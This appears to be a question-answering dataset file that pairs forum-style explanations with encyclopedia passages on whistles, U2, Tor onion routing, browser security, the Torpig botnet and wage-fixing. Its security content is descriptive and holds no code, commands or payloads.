\"I Will Follow\", but the last night in each city would begin with the house lights fully up and the band performing the early 1960s classic \"Stand By Me\", with The Edge singing one verse, all intended as a friendly, informal opening. The house lights would then stay up for \"Pride (In the Name of Love)\", only going off at the end of it; the rest of the set list would be consequently scrambled from the norm.\nThe new level of fame, exposure and the frantic nature of", "why it was the only one excluded, but many fans suspected that it was because the modified version utilized a chorus very similar to the U2 song \"Where the Streets Have No Name\".", "The Old House at Home Other uses The title of the song was re-used by Edward Loder's cousin, the composer and conductor George Loder (1816–1868), for a musical entertainment that he co-wrote in 1862, which did not include the song itself.\nThere are currently 25 public houses in England with the name \"Old House at Home\", probably named after the original song.", "houses weren't considered by the authorities of those days as historic monuments. Several of them were destroyed and in their places office buildings and shopping centers were built, usually in the international style. In the 1980s some falling off decorative elements of the elevation, dangerous for the passers-by, were simply removed from the walls, even though the renovation of some chosen buildings had already begun.\nThe character of the street changed only after 1990. In this year an architect and a member of an artistic group \"Łódź Kaliska\", Marek Janiak, came up with the idea of creating the Foundation of Piotrkowska", "then announces their own names over the remixes and unintentionally creating the impression that the songs are their own works.", "if the lyrics are by a person other than one of the songwriters or composers. It may also the name of the arranger, if the song or piece has been arranged for the publication. No songwriter or composer name may be indicated for old folk music, traditional songs in genres such as blues and bluegrass, and very old traditional hymns and spirituals, because for this music, the authors are often unknown; in such cases, the word Traditional is often placed where the composer's name would ordinarily go. Purpose and use Sheet music can be used as a record of, a" ]

[ "It roughs up the sound in the whistle so that it sounds more like [this](_URL_0_). Without it the whistle would sound smoother. Like [this](_URL_1_)", "Makes a pulsating and slightly variating pitch, instead of a constant steady pitch, thus more prominent and noticable." ]

[ "Whistling is often used by spectators at sporting events to express either enthusiasm or disapprobation. In the United States and Canada, whistling is used much like applause, to express approval or appreciation for the efforts of a team or a player, such as a starting pitcher in baseball who is taken out of the game after having pitched well. In much of the rest of the world, especially Europe and South America, whistling is used to express displeasure with the action or disagreement with an official's decision, like booing. This whistling is often loud and cacophonous, using finger whistling. Cultural", "slide or Swanee whistle, is commonly made of plastic or metal.\nThe modern slide whistle is familiar as a sound effect (as in animated cartoon sound tracks, when a glissando can suggest something rapidly ascending or falling, or when a player hits a \"Bankrupt\" on Wheel of Fortune), but it is also possible to play melodies on a slide whistle.\nThe swanee whistle dates back at least to the 1840s, when it was manufactured by the Distin family and featured in their concerts in England. Early slide whistles were also made by the English J Stevens & Son and H A Ward.", "typical warbling/shrieking effect. Such whistles are traditionally used by association football referees and those of other games. Samba whistles Similar to pea whistles, samba whistles have a small ball or dowel to create the same sort of sound, but often also have two extensions either side of the chamber. None, one or both of these can be blocked to create a \"tri-tone\" effect. The apito de samba is a traditional Portuguese example of a samba whistle. Levavasseur whistle This whistle is essentially the police whistle turned into a torus, magnifying its sound-making potential. A cross-section through the middle of the", "Give a Little Whistle In the film Jiminy Cricket hopped on Pinocchio's toes, attempts the whistle on the two failures. Jiminy whistles three times for Pinocchio on the last whistle. Jiminy starts to dance and hopped on to the shelf to sing to him, blows the whistle on his top hat into the echo and dances on the shelf. Pinocchio blows his hat and there's nothing in there. Jiminy says, \"Pucker up and blow!\" and he's on the jug to blows it like the bass music. Pinocchio stands up to sing. Until Jiminy Cricket balances on the violin with the", "However, the origins of the word date back to the 19th century.\nThe word is linked to the use of a whistle to alert the public or a crowd about a bad situation, such as the commission of a crime or the breaking of rules during a game. The phrase whistle blower attached itself to law enforcement officials in the 19th century because they used a whistle to alert the public or fellow police. Sports referees, who use a whistle to indicate an illegal or foul play, also were called whistle blowers.\nAn 1883 story in the Janesville Gazette called a policeman", "has performed with the devices attached to racing pigeons at festivals across the United Kingdom. Description and history Pigeon whistles are small devices fitted to pigeons that emit a noise as the bird flies through the air. They have been used in China, where they are known as geling or geshao, since at least the Qing dynasty (1644–1912) and also in Japan and Indonesia. Traditionally they were made from lightweight bamboo or from gourds and attached to the pigeon by a toggle fixed between its tail feathers - causing no harm to the bird. They are used", "Whistle A whistle is an instrument which produces sound from a stream of gas, most commonly air. It may be mouth-operated, or powered by air pressure, steam, or other means. Whistles vary in size from a small slide whistle or nose flute type to a large multi-piped church organ.\nWhistles have been around since early humans first carved out a gourd or branch and found they could make sound with it. In prehistoric Egypt, small shells were used as whistles. Many present day wind instruments are inheritors of these early whistles. With the rise of more mechanical power, other forms of", "a problem. Whistling was last year's trend, and a certain pair of Jagger-movers made it overplayed. Whistling the melody to 'Just Can't Get Enough' is not an improvement. Nor is pairing it with a double-entendre ripped off near-verbatim from Lauren Bacall–a metaphor ruined by being made more explicit. Flo's obvious enough to taunt 'blow my whistle, baby,' but his quoted instructions would not literally work. 'Whistle while you work it,' later, might have worked–it's a snowclone just stupid enough to stick as a hook–but Flo smothers it in a bunch of Flo Rida delivery.\" Chart performance \"Whistle\" debuted at number", "Pigeon whistle A pigeon whistle (known as a geling 鸽铃 or geshao 鸽哨 in China) is a device attached to a pigeon such that it emits a noise whilst flying. They have long been used in Asian countries, particularly China for entertainment, tracking and to deter attack by birds of prey. The practice was once common but is now much less widespread owing to increasing urbanisation and regulation of pigeon keeping. A modern version of the device, based on specimens held at the Pitt Rivers Museum in Oxford, has been developed by musician Nathaniel Mann. Mann", "pipe is a short, conical wooden or bone tube in which the player blows to refill the bag. At the end of the blow pipe that is within the bag, there is a small return valve of leather or felt which allows air into the bag via the blow pipe but not back out. In some more primitive gaida there is no flap, but the player blocks returning air with his tongue during breaths. Reeds Each chanter is fitted with a reed made from reed (arundo donax), bamboo, or elder. In regional languages these are variously termed lemellas, Piska, or", "produce inconclusive results indicating contact (potentially any combination of bat, pad, feet shuffling, bat handle squeak) only, whereas the Hot Spot clearly shows exactly what the ball strikes. Independent testing has shown Snickometer and other competing sound based technologies are susceptible to the concept of the \"Phantom Snick\", where the sound of the ball whooshing past the bat sometimes creates a sound, even when the ball does not touch the bat.", "De Courcy & Co. In 1987, Ron Foxcroft released the Fox 40 pealess whistle, designed to replace the pea whistle and be more reliable. Typical sources and uses Human whistling unaided by any instrument can be used for musical recreation or as a whistled language for communication over distances too great for articulate speech, among many other purposes. Musical instruments include the nose whistle or nose flute, the tin whistle and the slide whistle. Since a whistle produces a loud sound that carries over a great distance, whistles are useful for signalling. On ships, the boatswain's call", "maracas so the whistle doesn't drown them out. Types of apitos Samba band leaders can choose to either play a single-tone apito – common referee whistle – or a tri-tone apito. Apitos were traditionally made of wood, but now most are made of metal. The whistle is a chamber that has a small ball or dowel rod inside. When one blows air through the mouthpiece, the small ball or dowel rod moves around the chamber and hits its sides. Sound characteristics Since, the apito de samba has a small ball or dowel rod that hits the sides of the", "whistle's chamber, this instrument creates a loud and shrill sound, which is useful in a samba school because the sound can be heard over the playing of the band. However one can manipulate the sound of the whistle by changing the speed at which one is blowing air through the instrument and by changing one's embouchure.\nAudio example of variations in apito de samba\nSound of a wood samba whistle (1:46 – 2:08).", "faking the sound of a foul tip. (He was probably responsible for the 1891 rule change requiring that a batter must have two strikes against him in order to be called out if the catcher caught a foul tip.) Besides tipping bats to fake the sound of a foul tip, Mack became adept at tipping bats to throw off the hitter's swing. (\"Tipping\" a bat is to brush it with the catcher's mitt as the batter swings, either delaying the swing or putting it off course, so that the batter misses the ball or doesn't hit it solidly. If the", "whistling sound for the duration of its flight. These are also used to scare animals.\nBlank shells contain only a small amount of powder and no actual load. When fired, the blanks provide the sound and flash of a real load, but with no projectile. These may be used for simulation of gunfire, scaring wildlife, or as power for a launching device such as the Mossberg #50298 marine line launcher.\nStinger is a type of shotgun shell which contains sixteen 00-buck balls made of Zytel, and is designed as a non-lethal ammunition ideally used in small spaces. Novelty and other", "Knuckleball A knuckleball or knuckler is a baseball pitch thrown to minimize the spin of the ball in flight, causing an erratic, unpredictable motion. The air flow over a seam of the ball causes the ball to transition from laminar to turbulent flow. This transition adds a deflecting force on the side of the baseball. This makes the pitch difficult for batters to hit, but also difficult for pitchers to control and catchers to catch; umpires are challenged as well, as the ball's irregular motion through the air makes it harder to call balls and strikes. A pitcher who", "his cap. Others will place the ball in their mitt and then cough on or lick it. Another tactic pitchers use is to soak their hair in water before going out to the mound, and then rub their hair before a pitch. Some pitchers have even glued a piece of sandpaper to one of their fingers and scuffed the ball to achieve an effect similar to the spitball. Ted \"Double Duty\" Radcliffe stated that he would hide a piece of emery board in his belt buckle so that he could roughen the ball or even cut it. ", "Slide whistle A slide whistle (variously known as a swanee or swannee whistle, lotos flute piston flute, or jazz flute) is a wind instrument consisting of a fipple like a recorder's and a tube with a piston in it. Thus it has an air reed like some woodwinds, but varies the pitch with a slide. The construction is rather like a bicycle pump. Because the air column is cylindrical and open at one end and closed at the other, it overblows the third harmonic. \"A whistle made out of a long tube with a slide at one end.", "produce a variety of sounds, including whistles, calls reminiscent of a clanging bell, clicks, screeches, grunts, downsweeps, and a sound called bioduck. Downsweeps are intense, low frequency calls that sweep down from about 130 to 115 Hz to about 60 Hz, with a peak frequency of 83 Hz. Each sweep has a duration of 0.2 seconds and an average source level of about 147 decibels at a reference pressure of one micropascal at one metre. The bio-duck call, first described in the 1960s and named by sonar operators on Oberon-class submarines for its purported resemblance to the quack of a duck, consist of", "the ball pit and pulls Buzz under the balls to take his place. Bonnie's mother packs the toys in her bag, unaware that Mini Buzz was not the real Buzz. Mini Buzz successfully fools Rex into thinking he is the real Buzz and that he was shrunk by the plastic in the ball pit, though when they return home, the other toys instantly realize he is an imposter.\nMeanwhile, Buzz emerges from the balls and discovers he was left behind at the restaurant, which is now closed. While trying to escape, Buzz discovers a storage room where a support group for", "City' brass whistle. This became the first referee whistle used at association football matches during the 1878–79 Football Association Cup match between Nottingham Forest and Sheffield. Prior to the introduction of the whistle, handkerchiefs were used by the umpires to signal to the players.\nIn 1883 he began experimenting with pea-whistle designs that could produce an intense sound that could grab attention from over a mile away. His invention was discovered by accident, when he accidentally dropped his violin and it shattered on the floor. Observing how the discordant sound of the breaking strings travelled (trill effect), Hudson had the idea", "thrown in the air, to be hit by a batsman and fielded. In some variants a member of the fielding team threw the ball in the air; in some, the batter tossed it himself as in fungo; in others, the batsman caused the ball to be tossed in the air by a simple lever mechanism: versions of this, called bat and trap and Knurr and spell, are still played in some English pubs. In trap-ball there was no running, instead the fielders attempted to throw the ball back to within a certain distance of the batter's station. Trap-ball may be", "of whistling was employed around 1915 by young members of the Kickapoo tribe. These individuals wanted to be able to communicate without their parents’ understanding. Technique In order to produce whistle speech, the Kickapoo Indians cup their hands together to form a chamber. Next, they blow into the chamber with their lips placed against the knuckles of their thumbs. In order to alter the pitch of their whistle, the Kickapoo Indians lift their fingers from the back of the chamber. Use of whistle speech among Kickapoo Indians Among the Kickapoo Indian tribe in Coahuila, Mexico, whistled speech is employed primarily", "His whistle is still used by the force and many others worldwide.\nHe later invented the first referee whistle for football matches, prior to this handkerchiefs were used at games. Hudson also invented the 'Acme Thunderer', the first ever pea whistle, which has been, and remains, the most used whistle in the world, from train guards to dog handlers, party goers to police officers.", "whistles! Just when I got things so quiet you could hear a pin drop, you bust in here and bust out with a whistle, and you snafu the whole works! How in the name of all that's reasonable do you expect a guy to get his slumber when a goof like you goes around making noises like a one-man Fourth of July celebration? He needs peace and quiet! It's positively outrageous!\". His screaming obviously wakes the now infuriated man, so Elmer hurries downstairs and he and Daffy switch places through a promotion in an effort to fool the man: \"Fow", "with some clucking sounds.\nLater, at the baseball match, Dizzy Dan is pitching. He lets the rest of his team back off as he prepares to pitch against a pig batter with a Babe Ruth Caricature. The first pitch was a strike (the ball sent the turtle catcher flying from the reaction), and Dizzy Dan cackles at the batter. Dan pitches again and Strike Two. At the third pitch, Dan struck the batter out, while the ingenious catcher uses a metal chimney pipe to return the ball back to the pitcher, with Dan cackling again.\nAt the next inning, Claude is pitching", "low whistles. Fingering and range The notes are selected by opening or closing holes with the fingers. Holes are typically covered with the pads of the fingers, but some players, particularly when negotiating the larger holes and spacing in low whistles, may employ the \"piper's grip\". With all the holes closed, the whistle generates its lowest note, the tonic of a major scale. Successively opening holes from the bottom upward produces the rest of the notes of the scale in sequence: with the lowest hole open it generates the second, with the lowest two holes open, it produces the third", "a hot-air bomb in the immediate vicinity of the Fifty-fifth Street Playhouse. \"This'll Make You Whistle\" was the tag on it. We're whistling all right—one of those barely audible sounds made by pursing the lips and exhaling. Herbert Wilcox, who should have known better, launched the projectile, first charging it with people like Jack Buchanan, Elsie Randolph and Antony Holles and detonating it with a slow-burning musical comedy plot about a man with one fiancée too many. Typical line: \"You're the bigamist fool in London.\" Typical scene: Mr. Buchanan and a pal, disguised as bearded gendarmes, being chased by twenty", "an international game (variously reported as occurring at the 1976 Summer Olympics in Montreal or at a 1984 pre-Olympics game in São Paulo), in which Foxcroft witnessed an obvious foul but he could not stop play as his whistle was rendered useless by a jammed pea; play continued and the referees were booed by spectators.\nFoxcroft set out to solve his problem and went to a plastic company looking for a better whistle. The company agreed to help him as long as he provided the design. Foxcroft drew up a list of key features that he wanted included in the whistle" ]

[ "Essentially, you know the game of \"Telephone\"? Where one person tells the other person something and then they pass it on until the very end?\n\nTOR works just like that, except people in the middle don't mess up, so the message on the other end of the telephone comes out just as it went in. \n\nWhen you browse a website, your computer sends a request to a server. The server reads the request and sends it back. With TOR, you put some middlemen in there - your PC sends a request, a TOR relay receives it and forwards it to another relay, until the very last where the request finally reaches the server. Then, the data from the server is sent to the last relay in line, it forwards it to the one before it, and so on until it reaches your PC again. As you imagine, it is pretty safe as you would need to track the signal across all the relays to find the original computer.", "The first bit you have to understand is the impact of encryption. The purpose of encryption is: an encrypted message can be shared with anyone, but only decrypted and read by the sender and receiver. In order for this to make sense, *both endpoints must be trusted*. This is important. It doesn't matter if you encrypt a message if you're sending it to someone that will repost the decrypted message and share the contents.\n\nA proxy is a server that browses on your behalf. Normally, when I browse the web, my web browser sends a request to, say, _URL_0_, and _URL_0_ sends back a response to my browser. _URL_0_ now knows some things about me such as my IP address. With a proxy, my browser sends my request to the proxy, the proxy sends it to _URL_0_, _URL_0_ replies to the proxy, and the proxy forwards the response back to my browser. Now _URL_0_ knows the proxy IP instead of me. Significantly, though, the proxy knows my IP *as well as* the site I was going to. I'm basically putting all my trust in that proxy to not log or otherwise advertise my browsing. Considering a large number of \"anonymous\" proxies on the web are run by governments, this probably isn't such a great deal for me, particularly since proxy browsing typically slows down my connection because of all the extra chatter it requires. So if you use a proxy, make sure you research it and make sure that you're using one that has the effect you're after.\n\nThis is where Tor comes in. Tor is an onion proxy based on the two concepts above. An onion proxy is so named because it has many layers, like an onion, meaning that the proxy I talk to talks to another proxy, and maybe another, and maybe another, etc, until after some \"relay chain\" of proxying the request is sent to the destination and then the response is forwarded back. The response must be forwarded back through the same chain, or there's no way the packets can make it back to me without the endpoint knowing my IP (to send via a different route, the endpoint would have to put in the destination, me, which presumably it doesn't have).\n\nWith a normal onion proxy, we still have a problem. Each proxy knows the IP of where the request came from, it knows the proxy it's sending to, and moreover, it knows the ultimately destination. All it has to do is look in the packet to see that I'm trying to get to _URL_0_. Tor solves this problem by using encryption.\n\nLet's say I want to browse _URL_0_ without anyone being able to know it's me, using a relay chain with 2 proxies. I'm A, _URL_0_ is C, and the proxies are 1 and 2 (in order from me to _URL_0_). My request goes: A-1-2-C. Here's where encryption comes in: if I encrypt the destination of my request (_URL_0_) so that only 2 can decrypt it, I can pass the request through 1 without 1 knowing where it's going; even though 1 knows my IP, it doesn't know what I'm browsing for. 1 forwards the request to 2, and now 2 decrypts the request. 2 knows what I'm browsing for, but it doesn't know who requested it; it only knows the request came from 1. It sends the request, gets the response, encrypts it (so 1 still can't know what it is), and passes it back to 1. 1 forwards it back to me, I decrypt it, and have _URL_0_'s content.\n\nIn this way, 1 only knows that I'm making requests, but no idea what site I'm talking to or what the returned content is. 2 and C both know what the content is, but have no idea who's making the request. It turns out this isn't quite secure, and if you're clever you can put together the entire chain, tracing the request-response pair back to me. To frustrate this, Tor inserts an extra node, making the chain: A-1-2-3-C. With this extra step, all reasonable possibility of being able to put together the entire chain, in principle, it nearly impossible. (There are still a lot of mistakes that can be made that allow sophisticated observers to put it together, but Tor avoids making those mistakes.)", "From what I heard, the Navy has LOTS of Tor servers running, so it's possible that it's not as anonymous as you may think.", "With Tor, the exit node (the last Tor relay) sends off the information unencrypted. It is possible for a user running an exit node to store the data. This has been done on numerous occasions." ]

[ "Browser security Browser security is the application of Internet security to web browsers in order to protect networked data and computer systems from breaches of privacy or malware. Security exploits of browsers often use JavaScript — sometimes with cross-site scripting (XSS) — sometimes with a secondary payload using Adobe Flash. Security exploits can also take advantage of vulnerabilities (security holes) that are commonly exploited in all browsers (including Mozilla Firefox, Google Chrome, Opera, Microsoft Internet Explorer, and Safari). Plugins and extensions Although not part of the browser per se, browser plugins and extensions extend the attack surface, exposing vulnerabilities in", "Tor network like Tor2web allow access to onion services from non-Tor browsers and for search engines that are not Tor-aware. By using a gateway, users give up their own anonymity and trust the gateway to deliver the correct content. Both the gateway and the onion service can fingerprint the browser, and access user IP address data. Some proxies use caching techniques to provide better page-loading than the official Tor Browser. .exit (defunct pseudo-top-level domain) .exit was a pseudo-top-level domain used by Tor users to indicate on the fly to the Tor software the preferred exit node that should be used", "websites are accessible only through networks such as Tor (\"The Onion Routing\" project) and I2P (\"Invisible Internet Project\"). Tor browser and Tor-accessible sites are widely used among the darknet users and can be identified by the domain \".onion\". While Tor focuses on providing anonymous access to the Internet, I2P specializes in allowing anonymous hosting of websites. Identities and locations of darknet users stay anonymous and cannot be tracked due to the layered encryption system. The darknet encryption technology routes users' data through a large number of intermediate servers, which protects the users' identity and guarantees anonymity. The transmitted information can", "Tor2web History Tor is a network which enables people to use the Internet anonymously (though with known weaknesses) and to publish content on \"hidden services\", which exist only within the Tor network for security reasons and thus are typically only accessible to the relatively small number of people using a Tor-connected web browser. Aaron Swartz and Virgil Griffith developed Tor2web in 2008 as a way to support whistleblowing and other forms of anonymous publishing through Tor, allowing materials to remain anonymous while making them accessible to a broader audience. In an interview with Wired Swartz explained that Tor is great", "above by patching them and improving security. In one way or another, human (user) errors can lead to detection. The Tor Project website provides best practices (instructions) on how to properly use the Tor browser. When improperly used, Tor is not secure. For example, Tor warns its users that not all traffic is protected; only the traffic routed through the Tor browser is protected. Users are also warned to use https versions of websites, not to torrent with Tor, not to enable browser plugins, not to open documents downloaded through Tor while online, and to use safe bridges. Users are", "on the users themselves using Tor browser improperly. E.g., downloading video through Tor browser and then opening the same file on an unprotected hard drive while online can make the users' real IP addresses available to authorities. Odds of detection When properly used, odds of being de-anonymized through Tor are said to be extremely low. Tor project's cofounder Nick Mathewson recently explained that the problem of \"Tor-relay adversaries\" running poisoned nodes means that a theoretical adversary of this kind is not the network's greatest threat:\n\"No adversary is truly global, but no adversary needs to be truly global,\" he says. \"Eavesdropping", "Browser service Browser service or Computer Browser Service is a feature of Microsoft Windows to let users easily browse and locate shared resources in neighboring computers. This is done by aggregating the information in a single computer \"Browse Master\" (or \"Master Browser\"). All other computers contact this computer for information and display in the Network Neighborhood window.\nBrowser service runs on MailSlot / Server Message Block and thus can be used with all supported transport protocol such as NetBEUI, IPX/SPX and TCP/IP. Browser service relies heavily on broadcast, so it is not available across network segments separated by routers. Browsing across", "which it can multiplex and onion-route that traffic to its destination. Once inside a Tor network, the traffic is sent from router to router along the circuit, ultimately reaching an exit node at which point the cleartext packet is available and is forwarded on to its original destination. Viewed from the destination, the traffic appears to originate at the Tor exit node.\nTor's application independence sets it apart from most other anonymity networks: it works at the Transmission Control Protocol (TCP) stream level. Applications whose traffic is commonly anonymized using Tor include Internet Relay Chat (IRC), instant messaging, and World Wide", "anonymity network was and is subject to some blocking by China's Great Firewall. The Tor website is blocked when accessed over HTTP but it is reachable over HTTPS so it is possible for users to download the Tor Browser Bundle. The Tor project also maintains a list of website mirrors in case the main Tor website is blocked.\nThe Tor network maintains a public list of approximately 3000 entry relays; almost all of them are blocked. In addition to the public relays, Tor maintains bridges which are non-public relays. Their purpose is to help censored users reach the Tor network. The", "traffic through a worldwide volunteer network of servers in order to conceal a user's location or usage from someone conducting network surveillance or traffic analysis. Using Tor makes it more difficult to trace Internet activity, including \"visits to Web sites, online posts, instant messages and other communication forms\", back to the user. It is intended to protect users' personal freedom, privacy, and ability to conduct confidential business by keeping their internet activities from being monitored.\n\"Onion routing\" refers to the layered nature of the encryption service: The original data are encrypted and re-encrypted multiple times, then sent through successive Tor relays,", "PC Tools (company) PC Tools Browser Defender PC Tools Browser Defender, also called Browser Defender for short, is a browser toolbar for Internet Explorer and Mozilla Firefox browsers on Windows based computers. Browser Defender allows for safe web surfing. PC Tools iAntiVirus iAntivirus was updated in 2012 and rebranded under Symantec's Norton brand.\nPC Tools iAntiVirus is free antivirus software for Intel based Apple Macintosh computers running Mac OS 10.5 (Leopard) and Mac OS 10.6 (Snow Leopard) initially released in June 2008, used to detect and remove malware, spyware and malicious exploits, using both signature-based and heuristic detection.\niAntiVirus was criticized because", "Tor Mail History Tor Mail provided web mail access with two webmail applications to choose from, one fully functional ajax-based, and one simple client which required no JavaScript or cookies. The user could also access mail via SMTP, POP3 or IMAP with an email client. The user signed up and accessed Tor Mail via the Tor hidden service and needed to have Tor software installed on a computer to access Tor hidden services. Users were not required to provide any identifying information such as their name or address.\nTor Mail's goal was to provide completely anonymous and private communications to anyone", "Security Director being sentenced in subsequent cases.\nIn August 2013 it was discovered that the Firefox browsers in many older versions of the Tor Browser Bundle were vulnerable to a JavaScript-deployed shellcode attack, as NoScript was not enabled by default. Attackers used this vulnerability to extract users' MAC and IP addresses and Windows computer names. News reports linked this to a United States Federal Bureau of Investigation (FBI) operation targeting Freedom Hosting's owner, Eric Eoin Marques, who was arrested on a provisional extradition warrant issued by a United States court on 29 July. The FBI is seeking to extradite Marques out", "network, which aims at not only evading data retention, but also at making spying by other parties impossible. The structure is similar to the one TOR (see next paragraph) uses, but there are substantial differences. It protects better against traffic analysis and offers strong anonymity and for net-internal traffic end-to-end encryption. Due to unidirectional tunnels it is less prone to timing attacks than Tor. In I2P, several services are available: anonymous browsing, anonymous e-mails, anonymous instant messenger, anonymous file-sharing, and anonymous hosting of websites, among others.\nTor is a project of the U.S. non-profit Tor Project to develop and improve an", "Man-in-the-browser Man-in-the-browser (MITB, MitB, MIB, MiB), a form of Internet threat related to man-in-the-middle (MITM), is a proxy Trojan horse that infects a web browser by taking advantage of vulnerabilities in browser security to modify web pages, modify transaction content or insert additional transactions, all in a completely covert fashion invisible to both the user and host web application. A MitB attack will be successful irrespective of whether security mechanisms such as SSL/PKI and/or two or three-factor Authentication solutions are in place. A MitB attack may be countered by using out-of-band transaction verification, although SMS verification can be defeated by", "in beta as of December 2014. Operation and security Rather than typical top-level domains like .com, .org, or .net, hidden service URLs end with .onion and are only accessible when connected to Tor. Tor2web acts as a specialized proxy or middleman between hidden services and users, making them visible to people who are not connected to Tor. To do so, a user takes the URL of a hidden service and replaces .onion with .tor2web.io.\nLike Tor, Tor2web operates using servers run voluntarily by an open community of individuals and organizations.\nTor2web preserves the anonymity of content publishers but is not itself an anonymity", "of AxMan is to discover vulnerabilities in COM objects exposed through Internet Explorer. Since AxMan is web-based, any security changes in the browser will also affect the results of the fuzzing process. Metasploit Decloaking Engine The Metasploit Decloaking Engine is a system for identifying the real IP address of a web user, regardless of proxy settings, using a combination of client-side technologies and custom services. No vulnerabilities are exploited by this tool. A properly configured Tor setup should not result in any identifying information being exposed. Rogue Network Link Detection Tools The Rogue Network Link Detection Tools are designed to", "Tortuga (software) License Tortuga as an open source project under the Lesser General Public License, version 2.1 (LGPLv2.1). Tortuga meets the licensing requirements by providing all source code and binary executables available for download at the primary website listed in the \"external links\" section below. Run-time and development environment Tortuga simulations run on Microsoft Windows XP and Windows Vista as well as on Linux, macOS, BSD and Unix. They can also be used in an applet environment, although this typically requires a signed applet. As part of its support for simulation, Tortuga employs tools from aspect-oriented programming, or AOP. You", "data on the computer, and can perform man-in-the-browser attacks.\nBy November 2008, it was estimated that Torpig had stolen the details of about 500,000 online bank accounts and credit and debit cards and was described as \"one of the most advanced pieces of crimeware ever created\". History Torpig reportedly began development in 2005, evolving from that point to more effectively evade detection by the host system and antivirus software.\nIn early 2009, a team of security researchers from University of California, Santa Barbara took control of the botnet for ten days. During that time, they extracted an unprecedented amount (over 70 GB)", "variant of the Portable Firefox web browser with Tor built into it. Torpark is intended for use on portable media such as a USB flash drive but it can also be used on any hard disk drive. cDc/Hacktivismo co-released v.1.5.0.7 along with Steve Topletz on September 19, 2006. Whisker Whisker is a project authored by Rain Forest Puppy that is no longer in development. It checked for thousands of known security vulnerabilities in web servers. Whisker Version 1.4 was co-released by the cDc at DEF CON 8 in 2000.", "the browser in spoken English is 'Conkeror (with a C)'\" to avoid confusion.\nAlso according to the FAQ, the name derives from the name given to the winner of a game of conkers, a children's game involving horse chestnuts on a string, as well as from a brand of beer also called Conkeror.", "tool and does not offer any protection to users beyond relaying data using HTTP Secure (HTTPS). Since version 2.0, a privacy and security warning is added to the header of each web page it fetches, encouraging readers to use the Tor Browser Bundle to obtain anonymity.", "each one of which decrypts a \"layer\" of encryption before passing the data on to the next relay and ultimately the destination. This reduces the possibility of the original data being unscrambled or understood in transit.\nThe Tor client is free software, and there are no additional charges to use the network. I2P anonymous proxy The I2P anonymous network ('I2P') is a proxy network aiming at online anonymity. It implements garlic routing, which is an enhancement of Tor's onion routing. I2P is fully distributed and works by encrypting all communications in various layers and relaying them through a network of routers", "that none of the proxies can by itself infer both the user and the website she is visiting. Besides protecting anonymity, Tor is also useful when the user's ISP blocks access to content. This is similar as the protection that can be offered by a VPN. Service providers, such as websites, can block connections that come from the Tor network. Because certain malicious traffic may reach service providers as Tor traffic and because Tor traffic may also interfere with the business models, service providers may have an incentive to do so. This interference can prevent users from using the most", "Torservers.net torservers.net is an independent network of non-profit organisations that provide nodes to the Tor anonymity network. The network started in June 2010.\nTorservers.net is known for operating servers with high network bandwidth and running them as exit nodes in the Tor network, which helps increase its speed and capacity. Funding While Tor is free software that anyone can run, successful operation of Tor nodes may require technical expertise, access to high-bandwidth, and can involve legal complications in some jurisdictions. The Torservers.net network accepts financial donations as a way to sponsor additional nodes. Bavarian Raid On June 20, 2018, Bavarian police", "their identity. Tor, a highly accessible anonymity network, is one that is frequently used by whistleblowers around the world. Tor has undergone a number of large security updates to protect the identities of potential whistleblowers who may wish to anonymously leak information.\nRecently specialized whistleblowing software like SecureDrop and GlobaLeaks has been built on top of the Tor technology in order to incentivize and simplify its adoption for secure whistleblowing. Whistleblowing Hotline In business, whistleblowing hotlines are usually deployed as a way of mitigating risk, with the intention of providing secure, anonymous reporting for employees or third party suppliers who may", "Project announced that it had hired Shari Steele as its new executive director. Steele had previously led the Electronic Frontier Foundation for 15 years, and in 2004 spearheaded EFF's decision to fund Tor's early development. One of her key stated aims is to make Tor more user-friendly in order to bring wider access to anonymous web browsing.\nIn July 2016 the complete board of the Tor Project resigned, and announced a new board, made up of Matt Blaze, Cindy Cohn, Gabriella Coleman, Linus Nordberg, Megan Price, and Bruce Schneier. Operation Tor aims to conceal its users' identities and their online activity", "applications and firmware for the Android operating system to improve the security of mobile communications. The applications include ChatSecure instant messaging client, Orbot Tor implementation, Orweb (discontinued) privacy-enhanced mobile browser, Orfox, the mobile counterpart of the Tor Browser, ProxyMob Firefox add-on, and ObscuraCam. Security-focused operating systems Several security-focused operating systems like GNU/Linux distributions including Hardened Linux From Scratch, Incognito, Liberté Linux, Qubes OS, Subgraph, Tails, Tor-ramdisk, and Whonix, make extensive use of Tor. Reception, impact, and legislation Tor has been praised for providing privacy and anonymity to vulnerable Internet users such as political activists fearing surveillance and arrest, ordinary web", "Torpig Torpig, also known as Anserin or Sinowal is a type of botnet spread through systems compromised by the Mebroot rootkit by a variety of trojan horses for the purpose of collecting sensitive personal and corporate data such as bank account and credit card information. It targets computers that use Microsoft Windows, recruiting a network of zombies for the botnet. Torpig circumvents antivirus software through the use of rootkit technology and scans the infected system for credentials, accounts and passwords as well as potentially allowing attackers full access to the computer. It is also purportedly capable of modifying", "BrowserQuest Technology BrowserQuest is a demonstration of a number of modern web technologies. It is written in HTML5, utilizing WebSockets for multiplayer networking, and is playable from modern web browsers. The client makes use of HTML5’s canvas element to render the graphics, web workers to initialize the map without affecting the rest of the page, localStorage to save progress, media queries to dynamically resize the game to the device, and HTML5 Audio to render the sound. The server is written in JavaScript, and runs in Node.js. The server and browser communicate using WebSockets.\nBoth BrowserQuest's client and server source code are" ]

[ "Its an unfair manipulation of that which makes Capitalism so successful and fair, Competition.\nDon't like Dominos pizza? Go get a better one somewhere else. Dont think you're being paid what you're worth? Update your resume and go market yourself to other companies.\n\nOh wait, you can't. They all made a secret deal to keep wages low.\n\nThats why its wrong and illegal. Thats also why socialism is a failure. Anytime you have one entity deciding how things will be, they end up being wrong, screwing everyone and there's nothing you can do because you have no options.\n\nWe need chaos. We need a ton of different choices in order to keep the playing field fair. You need to be able to say \"This SUCKS and I'm going to choose something else!\"\n\nWhen a company starts losing employees, they'll start paying them better and treating them better, or go out of business.", "Specific to that case is that it is contended that the parties essentially spoke directly with one another. \n\nLots of large companies fix wages legally by scrubbing the personal information from your salary data, categorizing it and sending it to third party companies (who gather the same information from other businesses in your industry) and then send analysis back to your employer on whether your pay is high or low as compared to other similar positions within your industry. They use this method to skirt anti-trust laws and fix wages but it's quite common.", "It's thought to be anti-worker and anti-free market. \n\nLet's say you make widgets for a living. All the companies that make widgets get together and decide that they are only going to pay $10/hr. You may think this is ridiculously unfair, but what are you going to do? You can't go to your competitor they are paying the same. In a free market, you can shop your skills around and (hopefully) find someone who will pay you better or pay you the same with better benefits or whatever." ]

